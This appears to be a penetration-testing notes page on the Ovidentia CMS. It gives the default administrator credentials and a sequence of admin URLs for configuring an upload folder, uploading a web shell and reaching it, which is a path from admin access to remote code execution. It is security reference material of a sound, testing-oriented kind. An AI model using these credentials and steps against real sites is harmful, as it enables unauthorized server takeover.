> For the complete documentation index, see [llms.txt](https://notes.qazeer.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.qazeer.io/web-applications/cms_and_softwares/ovidentia.md).

# Ovidentia

### Overview

Ovidentia is an open source CMS developed and maintained since 2001 by the French company CANTICO.

Ovidentia has a relatively low market share and is mostly used by French non-profit organizations and territorial communities and administrations.

### Default credentials

The default administrator credentials are:

```
admin@admin.bab:012345678
```

### Administrator to RCE

Access the file upload configuration page and make sure that the web service has write rights on the currently configured upload folder:

```
/index.php?tg=site&idx=menu4&item=1
```

Then use the administration file manager page to create a folder on the application:

```
/php/index.php?tg=admfms
```

And configure the access rights on the folder to allows file upload and others permissions:

```
/php/index.php?tg=admfm&idx=rights&fid=<FOLDERID>
```

Upload file a web shell on the target:

```
/index.php?tg=fileman&idx=displayAddFileForm&id=<FOLDERID>&gr=Y&path=<FOLDERNAME>
```

The uploaded web shell can be accessed at the following URL:

```
/fileManager/collectives/DG0
```